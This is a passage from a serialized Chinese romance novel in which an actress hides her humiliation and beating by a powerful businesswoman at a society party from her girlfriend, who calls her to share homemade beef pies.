祝星亦绷紧后颈，低头看裙身上的褶皱。 车停了，苏芙的声音混着导航提示格外清晰：“虽说一直藏着也没什么问题，你们两个的恋情也无法公开，但是鸭头，你得想想你妈哪一天真发现了，你该怎么应对她。” 苏寄欢没应，打开自己那侧的门倾身迈出去。 祝星亦抱着匣子准备开自己那侧门，手刚碰把手，车门开了。 裹着披肩的苏寄欢站在车门前，月光下，她的身影像簌簌的落雪。 祝星亦垂着眼出去，穿过酒店旋转门回到屋子里。她本要主动解释晏璟霖这件事，但苏寄欢一直在忙忙碌碌，几次开口都被苏寄欢的动作打断。 最终她拉着苏寄欢的衣服开口：“苏老师，不打算先聊聊吗？” 绸缎在掌心沁出凉意，她看着苏寄欢转身缓缓坐下。 苏寄欢陷进沙发时带起一阵柚子花香，祝星亦早已沾染上这个味道。 自那次祝星亦收到苏寄欢的柚子花香水，祝星亦的屋子也是这样的味道。酸甜凛冽的花香像爱人的怀抱，紧紧抱着她吻着她，从未分离过。 但祝星亦更希望在苏寄欢身上嗅到这个味道，所以她每次在喷了柚子花之后，总会再喷点别的味道，比如树莓，比如白芍，又比如酥梨。 苏寄欢侧过头看阳台处的纱幔，声音在落地灯的光圈里晕染开，“《春风》月底杀青，你直接进组《孤独诗人》是不是？” “是。”祝星亦望着苏寄欢并拢的膝盖，那截裸露的脚踝在丝绒裙摆下若隐若现，仿佛随时会碎裂的青瓷。 “我以为是唐清晚欣赏你才邀你参演，现在发现，并不是。”苏寄欢的指尖在暗纹抱枕上收紧，她抬眼看还在站着的祝星亦，心觉这样的一问一答在审判犯人，伸着手把人拉到身旁。 过于把心放在事业上和日常生活中，让她忽视了对女朋友的关心。 以为生活和工作上面面俱到就好，没想到除此之外还有那么多稍有不慎便满盘皆输的危险。 苏寄欢对晏璟霖再了解不过。 晏珂最器重的大女儿，晏氏未来的掌权人，一个比豺狼虎豹还要危险的女人。 她不知道晏璟霖接触祝星亦想要做什么。 看中祝星亦的价值？或是为了晏瑾年？ 但哪个理由都让她身上起了冷汗。 和晏氏的人有牵扯，只会掉入一个可怕的漩涡。 苏寄欢尽量放低声音耐心询问：“你什么时候认识晏璟霖的？” 她观察祝星亦的表情，确保祝星亦没有被她的问题吓到。 苏寄欢自诩情绪稳定，但大多数时间她无法控制自己的脾气，没办法完全稳定，尤其是面对祝星亦的时候。 她实在太担心祝星亦了，她怕这个没有经历太多肮脏交易的女朋友走歪了路，走错了路。 路走错走歪，想要再走回正道，很难很难。 何况，和晏氏的人牵扯到一起，很难不走错路。 祝星亦平静地回答她：“就，前不久认识的，接触《孤独诗人》剧本的时候。我开始不知道她要做什么，后来发现是要带我谈一些代言，我跟经纪人说了这些，经纪人同意代言，我便正常走流程。” 她偷偷抬眼看苏寄欢，见对方认真听自己讲话，继续说：“因为艺域那边也知道我代言的事，我想着这些事没必要跟你说，就……不好意思，我不是故意隐瞒你的，我只是觉得我有能力处理这些小事。” 苏寄欢提着的心终于放了下来，她这才抓住祝星亦的手说：“抱歉，是我想太多了。《孤独诗人》是[晏影］和其他几个影业联合出品，晏璟霖现在又掌控了[晏影］，她主动和你接触让我以为她要拉拢你。” 拇指摩挲着手背，苏寄欢抓紧祝星亦的手语重心长道：“如果只是普通商业联系倒还好，我相信你有很强的判断能力。但如果是她想要和你产生其他利益牵扯，我建议你不要信她，也不要加入她。” 祝星亦靠在她肩头嗯了声：“我知道，我一直都知道她们很危险，也没想着靠近她们。” 苏寄欢抚摸着她的背轻声说：“星星，真的很抱歉。我工作室这边的工作太忙了，除了运营团队还要忙着招商，没有及时过问这些事。如果你真的出了事，我想我的责任会很大。” 听着苏寄欢自责的语气，祝星亦喉间泛起铁锈味儿。 她握紧苏寄欢的手，故作轻松地摇头笑说：“你为什么要揽这个责任？我不是小孩子了，我有能力处理好这些事情。我已经跟在你身后学习很久了，我早就可以独当一面。” 苏寄欢叹口气道：“我也希望你可以独当一面，但现在远远不够。我自私地想带着你继续往前多走几步，多走点，你就会轻松点。” “那，你什么时候可以真正地放手？” “等我完全成为你的依靠。可现在我还无法成为你的依靠，影视工作室那边的情况……并不算太好。”苏寄欢忧心忡忡。 祝星亦直起身子问：“不太好……是什么意思？” 苏寄欢解释：“我们本来拿到了云廊的投资，和云廊湾区的负责人聊得也很好。但后来云廊总部的人出面收回了签署的合同，这也导致其他奔着云廊投资的客户想要撤资，所以我有空的时候都在忙这些事。” 祝星亦忽然想到某次宴会上，晏璟霖和晏瑾年就着[云廊］讨论，那时候晏璟霖责怪晏瑾年拿不下云廊。 宴会后晏璟霖指间夹着香烟倚在栏杆处轻笑，她牵着红唇对晏瑾年说：“这世间哪有既定的棋局，谁先掀翻棋盘谁就是王。” 而现在祝星亦看着苏寄欢眼底的惊涛，终于明白在这盘棋局里，有人始终是弱势的一方。 精准落子又如何，不掀翻棋盘，便不成王。 苏寄欢拍拍祝星亦的手要她不要被自己影响，“这些事我自己可以处理，你不用管我，你安心工作就行。” “但是……但是……”祝星亦神情忽然空洞了一瞬。 喉间哽着太多不敢说出的话，最终化为执拗的尾音，“但是，我不会真的不管你。” 苏寄欢的指尖顺着她的鼻梁滑下，低低笑着：“行行，小祝老师管我，我最放心了。” 很快，她收拢了笑意，捧着对方的脸细细端详，“不好意思，宴会后对你发的脾气……你会惩罚我吗？” 祝星亦将额头抵在她锁骨凹陷处，发丝随着动作轻蹭：“那就罚你多抱我一会儿。” “苏老师？”她的尾音忽然发颤。 “嗯，你说，我在听。” “我没有不管你，我从来没有想过让你一个人面对。我……” “好～你没有不管我。”苏寄欢蹭了蹭她泛粉的脸蛋，“谢谢你啊，星星。” 语气像在哄小孩，丝毫不觉得那是真心的话。 但祝星亦不想辩驳什么。 她嗅着凛冽的柚子花香，抱紧苏寄欢，“你永远值得我为你赴汤蹈火。” // 参加南城的一场名流宴会前，晏璟霖特意嘱咐祝星亦要好好表现。 “这个宴会上都是我的生意合作伙伴，是我已经合作的，也是我即将合作的。”晏璟霖的指节搭在膝盖上轻轻敲动，金丝框眼镜下是漆黑的眸子，“那里不是你粉丝见面会，姿态放低一点。” 祝星亦温顺地点头：“好。” 晏璟霖瞥她一眼微抿唇角，“若是做个听话的女仆，倒也不错。” 祝星亦愣怔片刻，舌尖压下一些语言。 南城的初冬依旧燥热，棕榈树影在露天泳池摇曳成鬼魅。 祝星亦的礼服不长不短，设计简单，一点点俏皮，这是她近期最满意的一套。 拨开水晶珠帘便是宴会主场，宴会厅设在花园处，最中心是一个最大的泳池，西侧是高耸入云的香槟塔。 参加宴会的名媛们陆续入场，晏璟霖还在不远处鹅卵石小径上与人寒暄。 祝星亦退到棕榈树后的阴影里，等觉察到晏璟霖的视线，方提起裙子踩着小提琴声往那处走去。 晏璟霖介绍起身边笑眼弯弯的女人，柳女士。 “柳女士，你好。”祝星亦握上柳女士的手。 问好过后，柳女士摇晃着酒杯，眼尾漾着一层诡谲的阴影，“我对明星艺人不太懂，也不知道追星是怎么回事，但我家晴晴很喜欢你。” 晏璟霖垂头说：“如果晴晴有时间，那和小祝见一面，让她们一起玩。” 柳女士故作推辞：“哎呀，这怎么好意思，祝小姐这么忙，哪有那么多时间？” “随时有时间，感谢柳女士抬爱。”祝星亦颔首。 “那真是太好了，晴晴一定很喜欢。”柳太太的珍珠项链的光芒刺入瞳孔，她晃晃酒杯，朝祝星亦迈了半步，“那改日送你们去巴厘岛，同吃同住半个月，如何？” “同吃同住半个月？”祝星亦的指甲陷入掌心的纹路，她的耳朵似乎出了问题。 和一个陌生女性同吃同住半个月？ 泳池突然掠过一阵风，将柳太太的轻笑声送进耳膜：“放心，私人飞机会在巴厘岛降落，那里的阳光最好了。” 祝星亦正愣着，一旁晏璟霖的蟒纹高跟鞋叩击地面。 她恍恍惚惚说了声好，听到柳太太喜不自胜的声音。 离开柳太太那处，晏璟霖晃着杯中的酒液随意走着，“给富家千金做陪玩还委屈你了？” “没有，只是……” 一个声音将祝星亦的话截断。 “祝小姐，晏小姐。”裴女士招呼二人。 晏璟霖握着酒杯走去，“裴太，好久不见。” “是有些时间了。”裴女士握了握晏璟霖的手，目光落在祝星亦身上，“祝小姐，好久不见啊。” 祝星亦冲她致意。 前段时间的Vitiyya慈善晚宴，她们打过照面。 “裴女士，你好。”祝星亦上前一步挽住裴女士的手臂。 寒暄过后，裴女士转向一个方向，那处站着一个金发女人，怀里抱着打扮得非常精致的博美。 裴女士带人走去，轻唤了声女人的名字，菲欧娜。 “这位是晏小姐，你们之前见过。”裴女士的手伸向祝星亦，“这位是祝小姐。” 菲欧娜抱着博美起身，侧着头道了句“久仰”。 “裴姐跟我讲过你，她说你在Vitiyya宴会上，是最动人的美人儿。”目光扫过祝星亦的珍珠腰链，菲欧娜忽然轻笑出声，怀中小犬随着她抖动的宝石项链呜咽一声，“不过我对荧幕尤物向来无感，再光鲜的戏子终究是宴席上的摆件。” 当红明星在粉丝面前是完美偶像，在他们面前只是一件便宜的物品。 “听说你要演唐制片的《诗人》？”菲欧娜倾身问。 晏璟霖点头称是，“清晚为了选角试了两百多人，菲欧娜小姐该信得过她的眼光。” “眼光？”菲欧娜收着下巴嗤笑一声，“眼光是指……选秀出身，非科班？到底是唐制片慧眼识珠，还是某人走了不干净的捷径？” 空气寂静了刹那。 菲欧娜左手腕叠戴了五条细手环，随着她抚摸犬背的动作泠泠作响。 裴女士赶忙打圆场：“Vitiyya慈善晚宴上，菲欧娜拍了两条漂亮的首饰，小祝，你知道的，就是我给你夸赞的两条。” 祝星亦适时含笑说：“菲欧娜女士真有眼光，那两条项链是全场最漂亮的项链。” 听到这里，菲欧娜脸色缓了许多，她挑起一侧眉道：“我听说最近你和苏寄欢搭档拍戏，她为你做配？” 祝星亦还未出声，菲欧娜的语气轻慢如掸落的烟灰，“她母亲苏菱，刚回国时像条可怜的落水狗，现在倒威风得不得了。不过说来也真是让人好奇，苏寄欢在国外居然拿了那么多大奖，身为华人，拿下……国外那么多奖？” 菲欧娜忽然盯着祝星亦笑了起来：“谁又知道她的那些奖是怎么得来的？也许……和她营销的冰清玉洁的高冷女神两模两样？” 第110章 我让你老实点 晏璟霖笑道：“菲欧娜小姐说得对，不干净才要营销自己清冷矜贵，实际上……” “实际上，早已经污浊不堪。”菲欧娜接着说，“难怪她拿不到那些大奖，真给她了，怕是侮辱其他获奖人。人前高冷的戏子，人后千娇百媚，哼。” 说完，晏璟霖和菲欧娜相视一笑。 祝星亦站在白色桌子旁，指甲深深掐进掌心，却不知自己阴鸷的神情何等清晰。 菲欧娜揉了揉怀里的博美，这只漂亮的小狗叫kiki，六个月大，是另一只博美miki的女儿。 miki陪伴了菲欧娜九年，可惜前不久因病去世，菲欧娜那时悲痛无比，好在现在有kiki陪伴着她。 “祝小姐你与苏……”菲欧娜抬眸看到祝星亦的表情，唇角的笑意骤然凝固，“祝小姐对我的话有意见？” 听对方突然发问，祝星亦忙摇头说：“没有，菲欧娜小姐说的……” 菲欧娜生硬地截断祝星亦的字句：“我知道你与苏寄欢交好，但你既然来到这里，就该知道谁能攀谁不能攀。” 气氛变得有些紧张。 晏璟霖不知菲欧娜为何忽然如此，只能上前劝道：“菲欧娜，不好意思，我想问问刚刚发生了什么事。” 菲欧娜抱着博美瞥了一眼祝星亦，侧过身子往一旁迈步，声音尖细又锐利：“晏总，我看祝小姐对我很有意见，那我就不在这里惹她不快了。” 说完，菲欧娜转身离开。 晏璟霖不知道菲欧娜口中的[有意见］是什么意思，刚刚明明在正常交谈，怎么突然…… 裴女士见情况不对劲，赶忙推了下祝星亦的腰说：“你快跟上去，跟她认个错。” 晏璟霖也道：“快跟我一起跟上去，她可是我们晏影大客户的女儿。” 说完，快速赶上菲欧娜。 祝星亦没有别的法子，只能踩着高跟鞋往菲欧娜的方向追。 “不好意思菲欧娜小姐。”晏璟霖出手拦住菲欧娜，“我想刚刚你们二位有些误会没说开，不如就着这个机会聊一聊。” “菲欧娜小姐，抱歉，刚刚我……”祝星亦正向前追着，忽然踩到桌子旁的装饰球，小球往泳池那处滚去。 咚。 小球落入泳池。 她没太在意，往菲欧娜身边站去，却见菲欧娜怀里的博美纵身跳下去追那个小球。 “kiki！”菲欧娜惊呼一声。 直到小狗扑入泳池，嘈杂的宴会厅忽然安静下来。 “我的kiki不会水啊！”菲欧娜惊声尖叫着往泳池那边跑去。 晏璟霖反应极快，快速冲到泳池岸边脱掉腕上的百达翡丽，单膝下跪一手捞起还在扑腾的小博美。 水花惊散了漂浮的蓝绣球花瓣，菲欧娜仓皇地跑过来蹲下去看已经无大碍的kiki。 侍者递来两块毛巾，晏璟霖接过一块，另一块递给了菲欧娜。 菲欧娜边带着哭腔喊kiki的名字边给kiki擦身子，精心打理的金色卷发贴在泪痕交错的脸颊，“我的kiki啊，我的kiki最怕水了，它还那么小。” 她用毛巾包着kiki远离泳池，小心翼翼把kiki抱在怀里安抚了好久，转过身子看到一脸无措的祝星亦，不禁怒火中烧。 若不是这个女人，kiki怎么会被惊扰到差点淹死。 菲欧娜抄起一旁桌子上的红酒泼在祝星亦脸上。 紫红色的液体顺着精致的五官滴落到礼服上，洇开一片片血色花朵。 祝星亦本能地后退半步，挂着酒液的睫毛在阳关下缓缓抖落水珠。 菲欧娜注意到她脸上不甘和细微的愤怒，染着珍珠粉的指甲陷进博美蓬松的毛发。 她再次抓起一杯冰镇过的酒，琥珀色的酒液在半空中划出一道弧线，最后落在祝星亦脸上炸开气泡。 “你给我摆什么谱？一个需要我们施舍资源的戏子罢了！”菲欧娜重重放下酒杯，“邀你来这里，还要我们看你脸色吗？懂不懂规矩？！” 不远处热闹谈话的人纷纷往这里涌来，围观的名媛们默契地形成半圆，有人举起手机拍摄，名贵的手镯在阳光下叮当作响。 晏璟霖还在旁边慢条斯理擦拭手臂，听见菲欧娜那处好像又起了争执，快速戴上腕表融进人群。 “菲欧娜，不好意思，你先消消气。”晏璟霖扣好百达翡丽，眼神示意祝星亦快上来道歉，“你们再聊一聊吧，刚刚应该是有很多误会。” 聊一聊？跟只会甩脸子的戏子聊一聊？ 菲欧娜嫌恶地瞥了祝星亦一眼，“我和这种下九流有什么好说的？她连我的kiki都不如，kiki见了我还会给我摇尾巴，跟她说话，她只会给我甩脸色罢了。离我远一点！恶心。” 戴着小羊皮手套的女人走到菲欧娜身边叹道：“菲欧娜你就别生气了，当心气坏了身子，她们这群明星艺人飞上高枝就自以为是，当谁都是她们的粉丝，好像谁都要惯着她们似的。” 手持蕾丝折扇的女人掩住下半张脸道：“她确实是有些背景的，否则苏寄欢怎么会愿意给她做配？即便苏寄欢愿意，苏菱怎么可能愿意？还是背景大罢了。” “菲欧娜，你鲜少关注娱乐圈，我想你应该不知道她之前拍的一部电影，她本来是二番，硬生生被抬到了一番，和晏家二小姐平番。初出茅庐，本事倒挺大。” “难怪这么不尊重你，兴许根本就看不起你。” 眼见菲欧娜脸色越发不好，晏璟霖垂眼扫过祝星亦攥得发白的指节，忽然抬手朝祝星亦的脸上扇出第一记耳光。 百达翡丽擦过耳骨，祝星亦踉跄两步。 耳饰碰撞声里，第二巴掌追上来，祝星亦尝到唇齿间腥甜的血气。 第三下耳光落下时，在场的人屏着气，晏璟霖凝视着祝星亦身上蜿蜒的酒渍。 任何时候任何人都不该给她丢脸，尤其是在这种谈生意的场合。 晏璟霖揉揉手腕，转身找到桌子旁的盒子。那里有专门给各位名媛的猫猫狗狗准备的玩具，有逗猫棒，也有飞盘，和网球。 她俯身拿起一个网球扔到远处的泳池里，抬手指着祝星亦说：“爬过去把球叼上来，然后给kiki和菲欧娜小姐道歉。” 风声掠过裙角，钻到嘴角的伤口里令祝星亦有些痛地压低了眉。 爬过去？把球叼上来？给一条狗道歉？ 祝星亦以为自己听错了。 给一条狗？道歉？ 菲欧娜扬起下巴抱着kiki旋身落座，晏璟霖观察菲欧娜的表情，确定她对这个处置满意，横移半步冷声道：“跪下。” “跪下？”祝星亦重复这两个字，迎面对上晏璟霖冰凌的目光。 远处泳池的波光闪着她的眼，她想起很久之前的麓湖畔，苏寄欢对她说过的那番话。 永远不要向任何人下跪，永远都不要把自己放在低位，尊严比什么都重要。 但现在她的嘴角流着鲜血，被各色各样的人压低声音讨论，身后有人在催促她快点给菲欧娜道歉，眼前的晏璟霖已经没有多少耐心。 菲欧娜怀里的博美突然对祝星亦龇牙，项圈上的钻石闪着寒光。 晏璟霖第二声[跪下］落下时，祝星亦垂着头缓慢地跪下。 她望着在泳池里漂浮的网球，只觉得南城太阳太过毒辣，世间的一切都要被焚烧殆尽。 燥热的空气和泳池的消毒水味让她有点窒息，一股酸意从鼻子里涌出来，蔓延到眼角。 她弯下身子，膝盖碾过砖地，手掌撑着上半身缓缓向前爬行。 她想努力屏蔽身旁那些人的声音，但她觉得现在这个情况下，先把自己的脸挡住比较好。 太多人举起了手机，她咬着唇把头埋在已经乱了的乌发里。 她无法保证今天的影像会流传到哪里，但她侥幸地想，这些人兴许只在她们的圈子里流传这些东西。 上流人和明星不是一个圈子，苏寄欢应该看不到她这般狼狈的模样。 她希望苏寄欢永远都看不到。 爬了不知道多久，祝星亦终于爬到泳池旁。 她翻身跌进泳池，消毒水味儿混着咸涩涌入嘴角的伤口，挪动一寸，身子沉重一分。 泳池边缘的大理石贴面映出她扭曲的倒影，湿发贴着脸颊像条黑蟒。 很快她移到漂浮的网球处，牙齿咬住被狗咬过数次的球的瞬间，喉咙涌上酒精的味道。 围观的人群低低笑着，各个方向点位传来快门声。 游动了会儿，祝星亦从泳池爬梯那处上来，紧咬着网球朝菲欧娜的位置爬去。湿透的礼服下摆黏着蓝绣球花瓣，随着爬行的动作拉出银亮的水线。 刻意压低的耳语乘着香风飘来：“你觉得凭她自己能拿到那么多角色吗？岭州来的穷丫头，哪有那么多能耐？” “她怎么没能耐？艺域那么抠门还能为了她跟风荇打官司，能耐不小呢。你有见过她的泳装照吗？很性感。嗯哼？说不定是金主特供。” “她那个圈子，想爬上去确实简单，躺床上就上去了。她这么漂亮，没点那方面的本领确实不行。” “你也羡慕了？” “嘁，别作践我。” 沾着口红印的网球在口中有些打滑，祝星亦不得不稍稍扬脖颈，好让球稳稳咬在齿间。 小羊皮手套的女人捏着马卡龙扔到祝星亦身上，“爬快一点啊，菲欧娜都等急了。” 两旁围着的人太多了，一只被镶满钻石的牵引绳束着的贵宾犬冲祝星亦吠了两声。 祝星亦被突如其来的犬吠声吓了一跳，身子抖了抖。人群中立马出现一阵笑声，那只贵宾犬转了转圈，钻石牵引绳哗啦作响。 最终跪爬到菲欧娜面前时，祝星亦双手递上口中的湿漉漉的网球，“菲欧娜小姐，对不起。kiki，对不起。” 博美吠了两声，菲欧娜弯腰把它放下，很快这只博美咬上祝星亦的衣裙撕扯几下，祝星亦保持着笑容，双手捧着网球不敢乱动。 网球上面有她的口红印和口水，菲欧娜一脸嫌弃地用手绢包起来扔到身后的草坪里。 “脏死了。晏小姐，我们去聊一聊别的。”菲欧娜从座椅上起身抱着kiki往别处走，晏璟霖冷冷地睨了祝星亦一眼，跟着菲欧娜走去。 人群如鸟雀般飞散。 祝星亦支着地面摇摇晃晃站起来。 浑身湿透，头发贴在身上，礼服膝盖处已经被磨烂了，一点点血渍渗出来。 她低头整理下裙子，直起身子时，柳女士提着裙子从她面前走过，一言不发。 远处飘来菲欧娜零星的对话：“你提携她？别是养不熟的白眼狼。”“她与苏寄欢有牵扯，你能放心？” 热风拂过淌着水珠的身子，好冷，又好热。 祝星亦低下头。* 大理石地面上剩下一行快干了的水渍，像隐在她脊骨处无形的伤疤。 “祝小姐。”裴女士拿着浴巾匆匆跑过来，她有些心疼地看了祝星亦许久，最终沉默地给祝星亦披上浴巾。 鸢尾花刺绣的浴巾，上面还有一股淡淡的香气。 祝星亦捏着浴巾边角咬着牙道谢，“裴女士，谢谢你。” 裴女士望着祝星亦许久，抬手拍了拍她的肩膀：“里厅往右边走的一个房间有备用衣服，洗浴间在二楼，你先洗个澡换上衣服，别着凉了。” 温温热的东西蹿到头顶，祝星亦沉默片刻点点头。 裴女士转头看了眼人群，那些看客们早就散了，始作俑者们在愉快聊天。 这个圈子向来如此。 光鲜亮丽的明星在他们面前是砝码之一，也是衬托他们威严的工具。 太多语言在舌尖打转，裴女士思虑许久道：“她们对寄欢的事都是道听途说，你跟寄欢关系好，应该能感受到她不是那样的人。” 祝星亦盯着自己泡得有点发皱的指尖说：“我知道她不是那样的人，一直都知道，她很好。” 裴女士叹道：“那为什么还要跟着晏璟霖来这里？想要在这个圈子里走下去，会受很多委屈。” 为什么呢？为什么要向晏璟霖臣服？ 祝星亦嘴角泛起苦涩的笑意：“我有我必须做的事，我必须坚持下去。我少走一步，那一天就会晚点到来。我可以等，但苏老师等不了。” 看祝星亦忽然坚定起来的目光，裴女士没有多说，她拍拍祝星亦的手说：“我不会把今天的事告诉寄欢，如果你认为你做的是对的，那就继续做，但我希望你可以保护你自己。” “谢谢你，裴女士。” 裴女士转身融入那片刺眼的金粉之中。 祝星亦裹着浴巾回望那群人。 眼睛有点模糊。 她以为是被太阳刺痛了。 低头揉一揉，两滴水砸向地面。 那是她忍了许久的眼泪。 // 南城的天际线吞没最后一抹晚霞，祝星亦穿着便装站在阳台处跟白澜打电话。 明早她会从南城飞回麓城，她要白澜提前去机场等着。 “星亦，情况还好吧？谈的合作怎么样？”白澜问。 祝星亦点点头回答：“嗯，都挺好的，你不用担心。都挺好的。” 白澜叮嘱祝星亦回来穿厚点，麓城这几天气温直逼零度，飞机落地前要套上厚衣服。 祝星亦连道了几声好挂断电话。 玄关处传来声音。 祝星亦回头看，晏璟霖已经踏入屋子。 冷冽的身影撕碎了满屋的寂静，身上还沾着宴会上的酒气。 “晏……” 祝星亦尚未说出口的问候凝固在唇边，女人裹挟着雪松冷香的手掌已挟风劈下。 第一记耳光击碎了意识，祝星亦踉跄着往后退，钻石耳坠已经被打掉在地毯上。 现在屋子里没别的人，祝星亦试图要辩解什么，然而第二掌又快速落下。 瓷白的肌肤上被犁出一条血线，祝星亦头有些发懵。她已经看不清眼前的人，身子也歪歪斜斜的，但她不想让自己看起来太狼狈，稳住身子站好。 直到第六个掌印在脸上绽开，祝星亦的身子终于顺着沙发滑落，乌发散落成凌乱的海藻。 “我是不是给你笑脸给的太多，让你认不清你是谁了？”晏璟霖掐住她脖子的力道像在拧断天鹅的颈，腕间百达翡丽表盘倒映着肿胀的面容，“我跟她们的合作差点葬送在你身上，这合同真要是谈不下来，你就算卖身也赔不起！” 祝星亦尝到铁锈味在齿间蔓延，左耳持续嗡鸣如同沉在深海里。 她蜷起脚尖，指甲深深掐进沙发里，“对不……” 未尽的颤音被第七记耳光截断，她嘴边的血珠溅到晏璟霖的裙子上，像雪地里突兀的梅。 想必是解气了，晏璟霖终于放开她，转身站起来。 祝星亦慌忙爬起来整理自己的头发和衣服，她抓着衣角坐在沙发上，用头发稍稍盖住自己的脸颊，以免让自己看起来太狼狈。 屋子内出现短暂的死寂。 片刻后，晏璟霖从包里掏出一沓现金甩在祝星亦身上，冷硬的声音实在刺骨：“你还要回去拍戏，去医院看一看。《春风》快杀青了？” 祝星亦忙不迭点头：“是。” 晏璟霖垂眸盯着沙发上的女人一动不动，旋即，压低声音道：“把钱捡起来。” 很快，祝星亦沉默地弯下腰把钱捡起来握在手心。 “我希望你在《孤独诗人》剧组不要给我出什么岔子，如果惹出了什么麻烦，我会让你比今天更疼。”晏璟霖后退两步转身离开。 细密绵长的痛让祝星亦短暂地清醒了些，她握着钱来到梳妆镜前坐下。 镜中破碎的倒影让她有些陌生，瓷白的脸上泛着可怖的青紫，嘴角的血还在往下滴落。 她试着缓缓扯动嘴角微笑，一扯动就是钻心的痛。 视频通话的邀请铃声响起。 通话界面跃动苏寄欢的名字。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 110-120 第111章 你怎么来了？ 被打掉的钻石耳坠还卡在地毯绒毛间，祝星亦慌忙把视频通话按成语音通话，腕间被晏璟霖拽出的淤青在灯光下泛着紫。 她深吸一口气，用力稳住自己的情绪，扯着流血的嘴角笑问：“不好意思苏老师，我还在忙，怎么啦？有事吗？” 背景传来瓷盘碰撞的声音，混着其他人的交谈。 卡在唇边的话没说出，很快，苏寄欢温柔又饱含歉意的声音传来：“抱歉星星，打扰你了。” 苏寄欢拿起一个白瓷盘放在手边，然后身子顿住了一刹。 她有些怅然，她以为祝星亦第一句话会是说想她了。 “不打扰，苏老师，你有什么事就说，我听着。”祝星亦说。 苏寄欢低头摆弄着盘子和牛肉饼，沉吟片刻。 瓷盘里的小牛肉饼溢出焦香，她端详了阵儿，俯身嗅嗅饼的香味，她想，她的小狐狸一定会喜欢吃。 随意把盘子往一旁放放，苏寄欢陷入沉思。 二十七岁那年，她遇到十九岁的祝星亦，浑身是刺的姑娘仰着下巴藐视世间的一切，仿佛整个娱乐圈的人都不配她俯首称臣。 但这只幼鸟不过刚破壳，孱弱的身躯无力应对暴风雨雪，任何尖锐的东西都会划伤她，致使她坠崖而亡。 于是苏寄欢衔来裹着蜜糖的枯枝，用体温烘暖巢窝，生怕硌伤幼鸟娇嫩的绒毛。她精心喂养小鸟，收集小鸟换羽期掉落的绒羽，仔仔细细给小鸟梳理每一片羽毛，教小鸟辨别毒果，教小鸟躲避天敌。 她怕小鸟会掉下去，于是打造了一条镀金的绳索绑在小鸟脚上。 却不知道，小鸟的喙早已泛着冷铁的光泽，正为斩断绳索做准备。 后来她教小鸟飞行，小鸟翼骨抬高一寸，绳索多崩裂一寸。 她看着祝星亦小小的翅膀划过山谷的风，绒羽里裹着山花的香气，她孤独地站在巢穴里，已经分不清自己的喝彩到底是祝愿还是挽留。 直到祝星亦斩断锁链，尾羽扫过云层留下遥远的背影，她竟渴望暴风雨能成为她回巢的借口。 蓄满巢穴的浆果开始糜烂，但小鸟早就已经不需要了。 她守着空巢数小鸟换下的羽毛，才惊觉黄金镣铐锁住的从来都是她自己。 半晌，苏寄欢强颜欢笑着开口：“星星，你什么时候回来？谈合作谈得怎么样？” “我明天就回去了苏老师。合作谈得很不错，挺好的，很顺利。” “好，我等你回来。”围裙沾了些面粉，苏寄欢低头拍了拍，继续说：“你上周说喜欢吃文二路的那家牛肉饼，我开车去那边尝了尝，回来便试着做了。” 她把手机放在桌面上端起盘子深吸一口气，牛肉的香味扑鼻。 她把盘子离手机近点儿，试图让祝星亦嗅到牛肉饼的味道。 这时候她实在希望世界上有可以嗅到味道的手机，让馋嘴的狐狸闻一闻，说不定马上就从南城飞回来，而不是还要她孤独地再等一晚。 这段时间苏寄欢才想着[避谶］这回事，当初说《外乡人》拍摄结束后两人会聚少离多，现在即便两人同在一个剧组，也开始聚少离多。 等祝星亦去了其他剧组，而自己忙于工作，恐怕见一面都难。 小鸟飞得越来越远，巢穴也会越来越空，说不定哪天她还要清理那些烦人的蛛网。 苏寄欢敛过思绪说：“非常成功，你回来我再给你做，保准你只想吃我做的牛肉饼。” “星星别信她！”苏芙的声音忽然插进来，“前两天她做了一锅非要我吃，害得我大半夜去打点滴，护士要我下次不要误食老鼠药！” 瓷器相撞声里，隐约能听见苏寄欢在抢手机，“苏芙！你瞎说什么！” 对面还在和面的苏以薇大声喊道：“星星，放心，鸭鸭这次做得真的很OK，我亲自作证。” “你看三姐多会说话。”苏寄欢推了苏芙一把，“学学人家。” 苏芙马上夺过手机说：“星星，你的苏老师拿电子秤称了几百遍面粉，生怕做错一个步骤。但不巧的是，今天的第一锅还是糊了。” “苏芙！！” 苏芙叉腰摆摆手道：“好在第二锅之后都是非常完美的肉饼，星星快点回来吃啊。” “是啊，星星快回来吃。这些牛肉饼啊，实在是太～想～你～了。”苏以薇拖着长音，笑眼看着苏寄欢。 金属刮板铲起面皮的簌簌声，苏芙凑到手机旁说：“星星啊，偷偷告诉你，下午醒面的时候一直醒不开，某人用了神奇魔法加神奇咒语，立马就醒开了。某人还说，哎呀，这面团醒得好啊，好像星星睡在她怀里肉嘟嘟的小脸蛋儿” “是吗？”祝星亦蜷缩着脚，把哽咽咬在齿间，“苏老师用了什么魔法咒语？” “你想知道吗？你可以猜一猜。” 手机贴着发烫的耳廓，祝星亦笑说：“苏老师，我不知道，你告诉我吧。” 苏寄欢的声音放轻，轻得像第二锅美味的肉饼刚出炉时的热气，“我把面团捏成了小星星，双手合十求它：‘面团啊面团，你一定要醒好啊。你要是醒不好，害得我做不好牛肉饼，我女朋友会嫌弃我的。’就这样，它马上醒得肥嘟嘟，就像你睡在我怀里时的小肉脸。” 祝星亦仓皇地用手揩眼泪，镜中的倒影狼狈得惊人，脸肿得像是要漏气，上衣歪歪斜斜，“我哪里有肉脸，我的脸那么瘦。” “那星星赶紧回来吃多点肉饼，把脸吃得胖嘟嘟的，好不好？” “肉饼可以吃，但我不想要胖脸，上镜不好看。” “我们要是不做明星，我肯定要把你喂得肥肥的，我的小狐狸就是要肉肉的才好看呢。” 苏芙噼里啪啦煎剩下的肉馅，早上苏寄欢说了不要拿那么多牛肉，苏芙非要多往打肉机里加牛肉。结果打了两盆肉馅，面团马上就用完了，肉馅还有一盆。苏寄欢只好让苏芙自己解决肉馅，比如做点肉丸或是煎肉饼。 但苏芙厨艺实在一般，肉饼摊锅里便散了。喊苏以薇过来帮忙，两个人边忙边嘟嘟囔囔。 苏寄欢嫌太吵，握着手机移到阳台。 麓城的冬天总是格外的冷，她打开落地窗在外站了会儿，又匆忙回到屋子里。 南城这时应该还很暖和，苏寄欢嘱咐祝星亦回来一定要多穿衣服。她说她要去机场接，祝星亦摆手说不用了，有白澜在呢。 围裙上还有面粉，苏寄欢拍了两下，嗅到厨房那边飘来的煎肉饼香气。她转身看了两眼厨房还在忙碌的人，快速移步到阳台那处小声说：“星星，我好想你。等你被白澜接回来，我马上去找你好不好？” “我们只有几天没见。” 